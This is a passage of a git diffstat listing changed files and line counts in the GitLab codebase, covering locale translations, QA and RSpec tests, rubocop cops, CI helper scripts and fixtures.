-rw-r--r--locale/sw_KE/gitlab.po1768
-rw-r--r--locale/tr_TR/gitlab.po1940
-rw-r--r--locale/uk/gitlab.po1874
-rw-r--r--locale/unfound_translations.rb8
-rw-r--r--locale/ur_PK/gitlab.po1768
-rw-r--r--locale/uz_UZ/gitlab.po1768
-rw-r--r--locale/vi_VN/gitlab.po1760
-rw-r--r--locale/zh_CN/gitlab.po1876
-rw-r--r--locale/zh_HK/gitlab.po1760
-rw-r--r--locale/zh_TW/gitlab.po1764
-rw-r--r--package.json22
-rw-r--r--qa/.gitignore1
-rw-r--r--qa/Gemfile.lock6
-rw-r--r--qa/Rakefile6
-rw-r--r--qa/qa.rb14
-rw-r--r--qa/qa/fixtures/auto_devops_rack/Gemfile.lock2
-rw-r--r--qa/qa/flow/pipeline.rb7
-rw-r--r--qa/qa/flow/sign_up.rb42
-rw-r--r--qa/qa/git/repository.rb12
-rw-r--r--qa/qa/page/admin/overview/users/index.rb5
-rw-r--r--qa/qa/page/admin/overview/users/show.rb15
-rw-r--r--qa/qa/page/admin/settings/component/sign_up_restrictions.rb23
-rw-r--r--qa/qa/page/admin/settings/general.rb7
-rw-r--r--qa/qa/page/base.rb2
-rw-r--r--qa/qa/page/component/design_management.rb4
-rw-r--r--qa/qa/page/component/issuable/sidebar.rb2
-rw-r--r--qa/qa/page/component/legacy_clone_panel.rb4
-rw-r--r--qa/qa/page/component/note.rb8
-rw-r--r--qa/qa/page/file/show.rb12
-rw-r--r--qa/qa/page/group/members.rb4
-rw-r--r--qa/qa/page/group/new.rb5
-rw-r--r--qa/qa/page/main/menu.rb8
-rw-r--r--qa/qa/page/main/sign_up.rb40
-rw-r--r--qa/qa/page/profile/two_factor_auth.rb6
-rw-r--r--qa/qa/page/project/fork/new.rb8
-rw-r--r--qa/qa/page/project/import/github.rb2
-rw-r--r--qa/qa/page/project/issue/index.rb4
-rw-r--r--qa/qa/page/project/issue/show.rb2
-rw-r--r--qa/qa/page/project/operations/metrics/show.rb2
-rw-r--r--qa/qa/page/project/pipeline/index.rb10
-rw-r--r--qa/qa/page/project/pipeline/show.rb4
-rw-r--r--qa/qa/page/project/settings/integrations.rb4
-rw-r--r--qa/qa/page/project/settings/protected_branches.rb2
-rw-r--r--qa/qa/page/project/settings/services/jenkins.rb54
-rw-r--r--qa/qa/page/project/show.rb5
-rw-r--r--qa/qa/page/project/wiki/show.rb4
-rw-r--r--qa/qa/page/registration/sign_up.rb46
-rw-r--r--qa/qa/page/registration/welcome.rb24
-rw-r--r--qa/qa/resource/events/project.rb2
-rw-r--r--qa/qa/resource/file.rb2
-rw-r--r--qa/qa/resource/group.rb1
-rw-r--r--qa/qa/resource/merge_request.rb13
-rw-r--r--qa/qa/resource/merge_request_from_fork.rb4
-rw-r--r--qa/qa/resource/pipeline.rb5
-rw-r--r--qa/qa/resource/project.rb9
-rw-r--r--qa/qa/resource/protected_branch.rb76
-rw-r--r--qa/qa/resource/repository/commit.rb15
-rw-r--r--qa/qa/resource/repository/project_push.rb3
-rw-r--r--qa/qa/resource/repository/push.rb7
-rw-r--r--qa/qa/resource/repository/wiki_push.rb5
-rw-r--r--qa/qa/resource/sandbox.rb14
-rw-r--r--qa/qa/resource/user.rb10
-rw-r--r--qa/qa/runtime/browser.rb4
-rw-r--r--qa/qa/runtime/env.rb14
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/backend_node_recovery_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/gitaly/changing_repository_storage_spec.rb2
-rw-r--r--qa/qa/specs/features/api/3_create/merge_request/push_options_labels_spec.rb26
-rw-r--r--qa/qa/specs/features/api/3_create/repository/files_spec.rb18
-rw-r--r--qa/qa/specs/features/api/4_verify/pipeline_deletion_spec.rb5
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/2fa_recovery_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/2fa_ssh_recovery_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/log_in_with_2fa_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/login_via_instance_wide_saml_sso_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/login/register_spec.rb140
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/create_project_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/1_manage/project/view_project_activity_spec.rb7
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/check_mentions_for_xss_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/collapse_comments_in_discussions_spec.rb12
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/create_issue_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/issue/real_time_assignee_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/2_plan/related_issues/related_issues_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/jenkins/jenkins_build_status_spec.rb155
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/jira/jira_basic_integration_spec.rb3
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/merge_merge_request_from_fork_spec.rb18
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/rebase_merge_request_spec.rb1
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/merge_request/view_merge_request_merge_ref_diff_spec.rb10
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/add_list_delete_branches_spec.rb6
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/repository/push_protected_branch_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_personal_snippet_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/clone_push_pull_project_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_personal_snippet_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/create_project_snippet_spec.rb8
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/snippet/delete_file_from_snippet_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/3_create/web_ide/open_fork_in_web_ide_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/ci_variable/add_remove_ci_variable_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/include_multiple_files_from_a_project_spec.rb17
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/pass_dotenv_variables_to_downstream_via_bridge_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/run_pipeline_via_web_only_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/4_verify/pipeline/trigger_child_pipeline_with_manual_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/composer_registry_spec.rb5
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/conan_repository_spec.rb9
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/generic_repository_spec.rb116
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_gradle_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/maven_repository_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/npm_registry_spec.rb2
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/nuget_repository_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/5_package/pypi_repository_spec.rb29
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_dependent_relationship_spec.rb4
-rw-r--r--qa/qa/specs/features/browser_ui/6_release/pipeline/parent_child_pipelines_independent_relationship_spec.rb4
-rw-r--r--qa/qa/specs/features/sanity/version_spec.rb2
-rw-r--r--qa/qa/specs/runner.rb2
-rw-r--r--qa/qa/support/wait_for_requests.rb2
-rw-r--r--qa/qa/tools/delete_projects.rb68
-rw-r--r--qa/qa/tools/generate_perf_testdata.rb16
-rw-r--r--qa/spec/git/repository_spec.rb2
-rw-r--r--qa/spec/resource/events/project_spec.rb6
-rw-r--r--qa/spec/specs/helpers/quarantine_spec.rb6
-rw-r--r--qa/spec/specs/runner_spec.rb46
-rw-r--r--qa/spec/support/matchers/have_assignee.rb15
-rw-r--r--qa/spec/support/matchers/have_child_pipeline.rb15
-rw-r--r--qa/spec/support/matchers/have_content.rb15
-rw-r--r--qa/spec/support/matchers/have_design.rb15
-rw-r--r--qa/spec/support/matchers/have_element.rb15
-rw-r--r--qa/spec/support/matchers/have_file_content.rb15
-rw-r--r--qa/spec/support/matchers/have_issue.rb15
-rw-r--r--qa/spec/support/matchers/have_job.rb15
-rw-r--r--qa/spec/support/matchers/have_package.rb15
-rw-r--r--qa/spec/support/matchers/have_pipeline.rb15
-rw-r--r--qa/spec/support/matchers/have_related_issue_item.rb15
-rw-r--r--qa/spec/support/matchers/have_snippet_description.rb15
-rw-r--r--qa/spec/support/shared_examples/merge_with_code_owner_shared_examples.rb13
-rw-r--r--rubocop/cop/gitlab/policy_rule_boolean.rb56
-rw-r--r--rubocop/cop/graphql/descriptions.rb60
-rw-r--r--rubocop/cop/graphql/id_type.rb2
-rw-r--r--rubocop/cop/lint/last_keyword_argument.rb71
-rw-r--r--rubocop/cop/rspec/httparty_basic_auth.rb49
-rw-r--r--rubocop/rubocop-migrations.yml3
-rw-r--r--rubocop/rubocop-usage-data.yml2
-rwxr-xr-xscripts/api/cancel_pipeline58
-rwxr-xr-xscripts/api/download_job_artifact94
-rwxr-xr-xscripts/api/get_job_id140
-rwxr-xr-xscripts/api/play_job60
-rwxr-xr-xscripts/build_assets_image10
-rwxr-xr-xscripts/frontend/test.js123
-rwxr-xr-xscripts/get-job-id43
-rwxr-xr-xscripts/gitaly-test-build2
-rwxr-xr-xscripts/gitaly-test-spawn1
-rw-r--r--scripts/gitaly_test.rb17
-rwxr-xr-xscripts/lint-doc.sh27
-rwxr-xr-xscripts/regenerate-schema7
-rw-r--r--scripts/rspec_helpers.sh60
-rwxr-xr-xscripts/update-workhorse59
-rwxr-xr-xscripts/used-feature-flags5
-rw-r--r--scripts/utils.sh57
-rwxr-xr-xscripts/verify-tff-mapping10
-rw-r--r--spec/config/object_store_settings_spec.rb29
-rw-r--r--spec/config/settings_spec.rb16
-rw-r--r--spec/controllers/admin/application_settings_controller_spec.rb38
-rw-r--r--spec/controllers/admin/clusters/applications_controller_spec.rb6
-rw-r--r--spec/controllers/admin/clusters_controller_spec.rb2
-rw-r--r--spec/controllers/admin/integrations_controller_spec.rb24
-rw-r--r--spec/controllers/admin/users_controller_spec.rb51
-rw-r--r--spec/controllers/boards/lists_controller_spec.rb12
-rw-r--r--spec/controllers/dashboard_controller_spec.rb10
-rw-r--r--spec/controllers/groups/boards_controller_spec.rb16
-rw-r--r--spec/controllers/groups/clusters/applications_controller_spec.rb6
-rw-r--r--spec/controllers/groups/clusters_controller_spec.rb2
-rw-r--r--spec/controllers/groups/dependency_proxy_auth_controller_spec.rb79
-rw-r--r--spec/controllers/groups/dependency_proxy_for_containers_controller_spec.rb95
-rw-r--r--spec/controllers/groups/milestones_controller_spec.rb2
-rw-r--r--spec/controllers/groups/releases_controller_spec.rb2
-rw-r--r--spec/controllers/groups/settings/integrations_controller_spec.rb62
-rw-r--r--spec/controllers/groups_controller_spec.rb13
-rw-r--r--spec/controllers/health_check_controller_spec.rb20
-rw-r--r--spec/controllers/help_controller_spec.rb5
-rw-r--r--spec/controllers/ide_controller_spec.rb17
-rw-r--r--spec/controllers/import/bulk_imports_controller_spec.rb23
-rw-r--r--spec/controllers/import/github_controller_spec.rb74
-rw-r--r--spec/controllers/import/google_code_controller_spec.rb65
-rw-r--r--spec/controllers/invites_controller_spec.rb39
-rw-r--r--spec/controllers/omniauth_callbacks_controller_spec.rb4
-rw-r--r--spec/controllers/profiles/gpg_keys_controller_spec.rb19
-rw-r--r--spec/controllers/profiles/keys_controller_spec.rb104
-rw-r--r--spec/controllers/projects/alerting/notifications_controller_spec.rb2
-rw-r--r--spec/controllers/projects/boards_controller_spec.rb16
-rw-r--r--spec/controllers/projects/branches_controller_spec.rb42
-rw-r--r--spec/controllers/projects/ci/lints_controller_spec.rb2
-rw-r--r--spec/controllers/projects/clusters/applications_controller_spec.rb6
-rw-r--r--spec/controllers/projects/clusters_controller_spec.rb2
-rw-r--r--spec/controllers/projects/commits_controller_spec.rb4
-rw-r--r--spec/controllers/projects/cycle_analytics_controller_spec.rb36
-rw-r--r--spec/controllers/projects/feature_flags_controller_spec.rb101
-rw-r--r--spec/controllers/projects/issues_controller_spec.rb56
-rw-r--r--spec/controllers/projects/jobs_controller_spec.rb164
-rw-r--r--spec/controllers/projects/merge_requests/diffs_controller_spec.rb2
-rw-r--r--spec/controllers/projects/merge_requests_controller_spec.rb115
-rw-r--r--spec/controllers/projects/milestones_controller_spec.rb12
-rw-r--r--spec/controllers/projects/notes_controller_spec.rb2
-rw-r--r--spec/controllers/projects/pipelines_controller_spec.rb41
-rw-r--r--spec/controllers/projects/prometheus/alerts_controller_spec.rb2
-rw-r--r--spec/controllers/projects/raw_controller_spec.rb19
-rw-r--r--spec/controllers/projects/releases_controller_spec.rb4
-rw-r--r--spec/controllers/projects/runners_controller_spec.rb88
-rw-r--r--spec/controllers/projects/static_site_editor_controller_spec.rb15
-rw-r--r--spec/controllers/projects/terraform_controller_spec.rb12
-rw-r--r--spec/controllers/projects_controller_spec.rb128
-rw-r--r--spec/controllers/registrations/experience_levels_controller_spec.rb10
-rw-r--r--spec/controllers/repositories/git_http_controller_spec.rb196
-rw-r--r--spec/controllers/repositories/lfs_storage_controller_spec.rb3
-rw-r--r--spec/controllers/root_controller_spec.rb2
-rw-r--r--spec/controllers/snippets_controller_spec.rb7
-rw-r--r--spec/controllers/users_controller_spec.rb332
-rw-r--r--spec/db/production/settings_spec.rb2
-rw-r--r--spec/db/schema_spec.rb5
-rw-r--r--spec/deprecation_toolkit_env.rb18
-rw-r--r--spec/experiments/application_experiment/cache_spec.rb66
-rw-r--r--spec/experiments/application_experiment_spec.rb127
-rw-r--r--spec/factories/alert_management/http_integrations.rb4
-rw-r--r--spec/factories/analytics/devops_adoption/segment_selections.rb18
-rw-r--r--spec/factories/analytics/devops_adoption/segments.rb7
-rw-r--r--spec/factories/bulk_import/failures.rb14
-rw-r--r--spec/factories/ci/builds.rb6
-rw-r--r--spec/factories/ci/job_artifacts.rb22
-rw-r--r--spec/factories/ci/pipelines.rb22
-rw-r--r--spec/factories/dependency_proxy.rb7
-rw-r--r--spec/factories/experiment_subjects.rb9
-rw-r--r--spec/factories/experiment_users.rb10
-rw-r--r--spec/factories/exported_protected_branches.rb5
-rw-r--r--spec/factories/gitlab/database/postgres_index.rb19
-rw-r--r--spec/factories/gitlab/database/postgres_index_bloat_estimate.rb10
-rw-r--r--spec/factories/gitlab/database/reindexing/reindex_action.rb14
-rw-r--r--spec/factories/gpg_keys.rb5
-rw-r--r--spec/factories/issues.rb4
-rw-r--r--spec/factories/merge_requests.rb26
-rw-r--r--spec/factories/namespace_onboarding_actions.rb8
-rw-r--r--spec/factories/packages.rb7
-rw-r--r--spec/factories/packages/package_file.rb8
-rw-r--r--spec/factories/personal_access_tokens.rb4
-rw-r--r--spec/factories/project_repository_storage_moves.rb2
-rw-r--r--spec/factories/project_settings.rb7
-rw-r--r--spec/factories/projects.rb17
-rw-r--r--spec/factories/sent_notifications.rb2
-rw-r--r--spec/factories/sequences.rb4
-rw-r--r--spec/factories/services.rb6
-rw-r--r--spec/factories/snippet_repository_storage_moves.rb29
-rw-r--r--spec/factories/terraform/state.rb8
-rw-r--r--spec/factories/usage_data.rb7
-rw-r--r--spec/factories/users.rb8
-rw-r--r--spec/factories_spec.rb17
-rw-r--r--spec/features/abuse_report_spec.rb2
-rw-r--r--spec/features/admin/admin_abuse_reports_spec.rb4
-rw-r--r--spec/features/admin/admin_appearance_spec.rb40
-rw-r--r--spec/features/admin/admin_broadcast_messages_spec.rb10
-rw-r--r--spec/features/admin/admin_browse_spam_logs_spec.rb6
-rw-r--r--spec/features/admin/admin_builds_spec.rb4
-rw-r--r--spec/features/admin/admin_cohorts_spec.rb4
-rw-r--r--spec/features/admin/admin_deploy_keys_spec.rb4
-rw-r--r--spec/features/admin/admin_dev_ops_report_spec.rb4
-rw-r--r--spec/features/admin/admin_disables_git_access_protocol_spec.rb1
-rw-r--r--spec/features/admin/admin_disables_two_factor_spec.rb8
-rw-r--r--spec/features/admin/admin_groups_spec.rb19
-rw-r--r--spec/features/admin/admin_health_check_spec.rb1
-rw-r--r--spec/features/admin/admin_hook_logs_spec.rb4
-rw-r--r--spec/features/admin/admin_hooks_spec.rb1
-rw-r--r--spec/features/admin/admin_labels_spec.rb4
-rw-r--r--spec/features/admin/admin_manage_applications_spec.rb4
-rw-r--r--spec/features/admin/admin_mode/login_spec.rb2
-rw-r--r--spec/features/admin/admin_mode/logout_spec.rb2
-rw-r--r--spec/features/admin/admin_mode/workers_spec.rb2
-rw-r--r--spec/features/admin/admin_mode_spec.rb2
-rw-r--r--spec/features/admin/admin_projects_spec.rb1
-rw-r--r--spec/features/admin/admin_requests_profiles_spec.rb4
-rw-r--r--spec/features/admin/admin_runners_spec.rb10
-rw-r--r--spec/features/admin/admin_sees_project_statistics_spec.rb3
-rw-r--r--spec/features/admin/admin_sees_projects_statistics_spec.rb1
-rw-r--r--spec/features/admin/admin_serverless_domains_spec.rb12
-rw-r--r--spec/features/admin/admin_settings_spec.rb58
-rw-r--r--spec/features/admin/admin_system_info_spec.rb4
-rw-r--r--spec/features/admin/admin_users_impersonation_tokens_spec.rb1
-rw-r--r--spec/features/admin/admin_users_spec.rb811
-rw-r--r--spec/features/admin/admin_uses_repository_checks_spec.rb2
-rw-r--r--spec/features/admin/clusters/applications_spec.rb1
-rw-r--r--spec/features/admin/clusters/eks_spec.rb1
-rw-r--r--spec/features/admin/dashboard_spec.rb4
-rw-r--r--spec/features/admin/services/admin_activates_prometheus_spec.rb1
-rw-r--r--spec/features/admin/services/admin_visits_service_templates_spec.rb1
-rw-r--r--spec/features/admin/users/user_spec.rb372
-rw-r--r--spec/features/admin/users/users_spec.rb555
-rw-r--r--spec/features/alert_management/alert_management_list_spec.rb54
-rw-r--r--spec/features/alerts_settings/user_views_alerts_settings_spec.rb15
-rw-r--r--spec/features/boards/add_issues_modal_spec.rb5
-rw-r--r--spec/features/boards/boards_spec.rb4
-rw-r--r--spec/features/boards/keyboard_shortcut_spec.rb8
-rw-r--r--spec/features/boards/sidebar_spec.rb2
-rw-r--r--spec/features/breadcrumbs_schema_markup_spec.rb15
-rw-r--r--spec/features/clusters/cluster_detail_page_spec.rb4
-rw-r--r--spec/features/commits_spec.rb2
-rw-r--r--spec/features/cycle_analytics_spec.rb14
-rw-r--r--spec/features/dashboard/archived_projects_spec.rb2
-rw-r--r--spec/features/dashboard/group_spec.rb3
-rw-r--r--spec/features/dashboard/merge_requests_spec.rb40
-rw-r--r--spec/features/dashboard/shortcuts_spec.rb4
-rw-r--r--spec/features/dashboard/user_filters_projects_spec.rb4
-rw-r--r--spec/features/expand_collapse_diffs_spec.rb4
-rw-r--r--spec/features/file_uploads/git_lfs_spec.rb4
-rw-r--r--spec/features/file_uploads/multipart_invalid_uploads_spec.rb2
-rw-r--r--spec/features/file_uploads/nuget_package_spec.rb2
-rw-r--r--spec/features/global_search_spec.rb6
-rw-r--r--spec/features/groups/board_spec.rb2
-rw-r--r--spec/features/groups/container_registry_spec.rb7
-rw-r--r--spec/features/groups/dependency_proxy_spec.rb16
-rw-r--r--spec/features/groups/import_export/connect_instance_spec.rb88
-rw-r--r--spec/features/groups/import_export/import_file_spec.rb8
-rw-r--r--spec/features/groups/members/filter_members_spec.rb26
-rw-r--r--spec/features/groups/members/search_members_spec.rb7
-rw-r--r--spec/features/groups/members/sort_members_spec.rb204
-rw-r--r--spec/features/groups/members/tabs_spec.rb14
-rw-r--r--spec/features/groups/navbar_spec.rb1
-rw-r--r--spec/features/groups/show_spec.rb65
-rw-r--r--spec/features/groups_spec.rb54
-rw-r--r--spec/features/ide/user_sees_editor_info_spec.rb93
-rw-r--r--spec/features/incidents/user_views_incident_spec.rb10
-rw-r--r--spec/features/issuables/close_reopen_report_toggle_spec.rb188
-rw-r--r--spec/features/issues/create_issue_for_discussions_in_merge_request_spec.rb2
-rw-r--r--spec/features/issues/create_issue_for_single_discussion_in_merge_request_spec.rb5
-rw-r--r--spec/features/issues/discussion_lock_spec.rb (renamed from spec/features/issuables/discussion_lock_spec.rb)0
-rw-r--r--spec/features/issues/filtered_search/filter_issues_spec.rb8
-rw-r--r--spec/features/issues/gfm_autocomplete_spec.rb112
-rw-r--r--spec/features/issues/issue_header_spec.rb164
-rw-r--r--spec/features/issues/issue_state_spec.rb81
-rw-r--r--spec/features/issues/keyboard_shortcut_spec.rb4
-rw-r--r--spec/features/issues/related_issues_spec.rb (renamed from spec/features/issuables/related_issues_spec.rb)0
-rw-r--r--spec/features/issues/service_desk_spec.rb26
-rw-r--r--spec/features/issues/user_edits_issue_spec.rb1
-rw-r--r--spec/features/issues/user_uses_quick_actions_spec.rb1
-rw-r--r--spec/features/issues/user_views_issue_spec.rb10
-rw-r--r--spec/features/markdown/copy_as_gfm_spec.rb11
-rw-r--r--spec/features/markdown/mermaid_spec.rb8
-rw-r--r--spec/features/merge_request/close_reopen_report_toggle_spec.rb118
-rw-r--r--spec/features/merge_request/merge_request_discussion_lock_spec.rb (renamed from spec/features/issuables/merge_request_discussion_lock_spec.rb)0
-rw-r--r--spec/features/merge_request/user_closes_merge_request_spec.rb23
-rw-r--r--spec/features/merge_request/user_closes_reopens_merge_request_state_spec.rb101
-rw-r--r--spec/features/merge_request/user_comments_on_diff_spec.rb26
-rw-r--r--spec/features/merge_request/user_posts_diff_notes_spec.rb10
-rw-r--r--spec/features/merge_request/user_reopens_merge_request_spec.rb28
-rw-r--r--spec/features/merge_request/user_resolves_conflicts_spec.rb5
-rw-r--r--spec/features/merge_request/user_resolves_diff_notes_and_discussions_resolve_spec.rb1
-rw-r--r--spec/features/merge_request/user_sees_check_out_branch_modal_spec.rb4
-rw-r--r--spec/features/merge_request/user_sees_merge_request_pipelines_spec.rb1
-rw-r--r--spec/features/merge_request/user_sees_versions_spec.rb16
-rw-r--r--spec/features/merge_request/user_squashes_merge_request_spec.rb (renamed from spec/features/merge_requests/user_squashes_merge_request_spec.rb)0
-rw-r--r--spec/features/merge_request/user_views_diffs_commit_spec.rb (renamed from spec/features/merge_requests/user_views_diffs_commit_spec.rb)0
-rw-r--r--spec/features/merge_request/user_views_diffs_file_by_file_spec.rb4
-rw-r--r--spec/features/merge_request/user_views_diffs_spec.rb4
-rw-r--r--spec/features/merge_requests/user_sees_empty_state_spec.rb (renamed from spec/features/merge_request/user_sees_empty_state_spec.rb)0
-rw-r--r--spec/features/milestone_spec.rb2
-rw-r--r--spec/features/operations_sidebar_link_spec.rb71
-rw-r--r--spec/features/profiles/account_spec.rb4
-rw-r--r--spec/features/profiles/active_sessions_spec.rb11
-rw-r--r--spec/features/profiles/emails_spec.rb6
-rw-r--r--spec/features/profiles/gpg_keys_spec.rb6
-rw-r--r--spec/features/profiles/keys_spec.rb2
-rw-r--r--spec/features/profiles/personal_access_tokens_spec.rb26
-rw-r--r--spec/features/profiles/user_changes_notified_of_own_activity_spec.rb4
-rw-r--r--spec/features/profiles/user_edit_profile_spec.rb82
-rw-r--r--spec/features/projects/active_tabs_spec.rb8
-rw-r--r--spec/features/projects/blobs/balsamiq_spec.rb17
-rw-r--r--spec/features/projects/blobs/user_creates_new_blob_in_new_project_spec.rb11
-rw-r--r--spec/features/projects/blobs/user_follows_pipeline_suggest_nudge_spec.rb2
-rw-r--r--spec/features/projects/clusters/gcp_spec.rb2
-rw-r--r--spec/features/projects/clusters_spec.rb2
-rw-r--r--spec/features/projects/container_registry_spec.rb18
-rw-r--r--spec/features/projects/diffs/diff_show_spec.rb4
-rw-r--r--spec/features/projects/environments/environment_metrics_spec.rb2
-rw-r--r--spec/features/projects/environments/environments_spec.rb55
-rw-r--r--spec/features/projects/feature_flags/user_creates_feature_flag_spec.rb112
-rw-r--r--spec/features/projects/features_visibility_spec.rb3
-rw-r--r--spec/features/projects/gfm_autocomplete_load_spec.rb2
-rw-r--r--spec/features/projects/import_export/import_file_spec.rb77
-rw-r--r--spec/features/projects/jobs/permissions_spec.rb162
-rw-r--r--spec/features/projects/jobs_spec.rb133
-rw-r--r--spec/features/projects/labels/issues_sorted_by_priority_spec.rb4
-rw-r--r--spec/features/projects/new_project_spec.rb54
-rw-r--r--spec/features/projects/settings/operations_settings_spec.rb2
-rw-r--r--spec/features/projects/settings/registry_settings_spec.rb25
-rw-r--r--spec/features/projects/settings/repository_settings_spec.rb4
-rw-r--r--spec/features/projects/settings/service_desk_setting_spec.rb55
-rw-r--r--spec/features/projects/settings/user_interacts_with_deploy_keys_spec.rb2
-rw-r--r--spec/features/projects/show/developer_views_empty_project_instructions_spec.rb20
-rw-r--r--spec/features/projects/show/no_password_spec.rb10
-rw-r--r--spec/features/projects/show/schema_markup_spec.rb2
-rw-r--r--spec/features/projects/show/user_sees_git_instructions_spec.rb6
-rw-r--r--spec/features/projects/show/user_sees_setup_shortcut_buttons_spec.rb4
-rw-r--r--spec/features/projects/terraform_spec.rb94
-rw-r--r--spec/features/projects/user_creates_project_spec.rb3
-rw-r--r--spec/features/projects/user_sorts_projects_spec.rb82
-rw-r--r--spec/features/projects/user_views_empty_project_spec.rb26
-rw-r--r--spec/features/projects/wiki/user_git_access_wiki_page_spec.rb21
-rw-r--r--spec/features/projects/wikis_spec.rb1
-rw-r--r--spec/features/projects_spec.rb14
-rw-r--r--spec/features/protected_branches_spec.rb1
-rw-r--r--spec/features/protected_tags_spec.rb2
-rw-r--r--spec/features/registrations/experience_level_spec.rb10
-rw-r--r--spec/features/runners_spec.rb28
-rw-r--r--spec/features/search/user_searches_for_code_spec.rb9
-rw-r--r--spec/features/search/user_searches_for_issues_spec.rb9
-rw-r--r--spec/features/search/user_searches_for_merge_requests_spec.rb9
-rw-r--r--spec/features/search/user_searches_for_milestones_spec.rb9
-rw-r--r--spec/features/search/user_searches_for_wiki_pages_spec.rb9
-rw-r--r--spec/features/search/user_uses_search_filters_spec.rb26
-rw-r--r--spec/features/security/admin_access_spec.rb27
-rw-r--r--spec/features/security/project/internal_access_spec.rb48
-rw-r--r--spec/features/security/project/private_access_spec.rb93
-rw-r--r--spec/features/security/project/public_access_spec.rb48
-rw-r--r--spec/features/security/project/snippet/internal_access_spec.rb9
-rw-r--r--spec/features/security/project/snippet/private_access_spec.rb12
-rw-r--r--spec/features/security/project/snippet/public_access_spec.rb9
-rw-r--r--spec/features/snippets/private_snippets_spec.rb2
-rw-r--r--spec/features/snippets/public_snippets_spec.rb4
-rw-r--r--spec/features/snippets/search_snippets_spec.rb2
-rw-r--r--spec/features/snippets/user_creates_snippet_spec.rb2
-rw-r--r--spec/features/snippets/user_snippets_spec.rb8
-rw-r--r--spec/features/usage_stats_consent_spec.rb1
-rw-r--r--spec/features/users/active_sessions_spec.rb8
-rw-r--r--spec/features/users/login_spec.rb65
-rw-r--r--spec/features/users/show_spec.rb43
-rw-r--r--spec/finders/alert_management/alerts_finder_spec.rb34
-rw-r--r--spec/finders/ci/daily_build_group_report_results_finder_spec.rb87
-rw-r--r--spec/finders/ci/pipeline_schedules_finder_spec.rb2
-rw-r--r--spec/finders/ci/pipelines_finder_spec.rb17
-rw-r--r--spec/finders/ci/pipelines_for_merge_request_finder_spec.rb18
-rw-r--r--spec/finders/feature_flags_finder_spec.rb12
-rw-r--r--spec/finders/fork_projects_finder_spec.rb2
-rw-r--r--spec/finders/group_descendants_finder_spec.rb6
-rw-r--r--spec/finders/group_members_finder_spec.rb44
-rw-r--r--spec/finders/issues_finder_spec.rb4
-rw-r--r--spec/finders/members_finder_spec.rb4
-rw-r--r--spec/finders/merge_requests_finder_spec.rb118
-rw-r--r--spec/finders/releases/evidence_pipeline_finder_spec.rb44
-rw-r--r--spec/fixtures/api/schemas/entities/admin_users_data_attributes_paths.json30
-rw-r--r--spec/fixtures/api/schemas/entities/codequality_degradation.json24
-rw-r--r--spec/fixtures/api/schemas/entities/codequality_reports_comparer.json43
-rw-r--r--spec/fixtures/api/schemas/entities/merge_request_widget.json1
-rw-r--r--spec/fixtures/api/schemas/entities/note_user_entity.json3
-rw-r--r--spec/fixtures/api/schemas/graphql/container_repository.json5
-rw-r--r--spec/fixtures/api/schemas/list.json2
-rw-r--r--spec/fixtures/api/schemas/public_api/v4/issue_link.json4
-rw-r--r--spec/fixtures/cobertura/coverage_with_paths_not_relative_to_project_root.xml.gzbin0 -> 530 bytes
-rw-r--r--spec/fixtures/codequality/codeclimate.json76
-rw-r--r--spec/fixtures/codequality/codeclimate_without_errors.json1
-rw-r--r--spec/fixtures/codequality/codequality.json1
-rw-r--r--spec/fixtures/codequality/codequality.json.gzbin101478 -> 0 bytes
-rw-r--r--spec/fixtures/csv_empty.csv (renamed from locale/en/gitlab.po.time_stamp)0
-rw-r--r--spec/fixtures/csv_uppercase.CSV4
-rw-r--r--spec/fixtures/dependency_proxy/manifest38
-rw-r--r--spec/fixtures/lib/gitlab/import_export/designs/project.json4
-rw-r--r--spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4351.json1
-rw-r--r--spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/4352.json1
-rw-r--r--spec/fixtures/lib/gitlab/import_export/group_exports/child_short_name/tree/groups/_all.ndjson2
-rw-r--r--spec/fixtures/lib/gitlab/import_export/project_with_invalid_relations/tree/project.json1
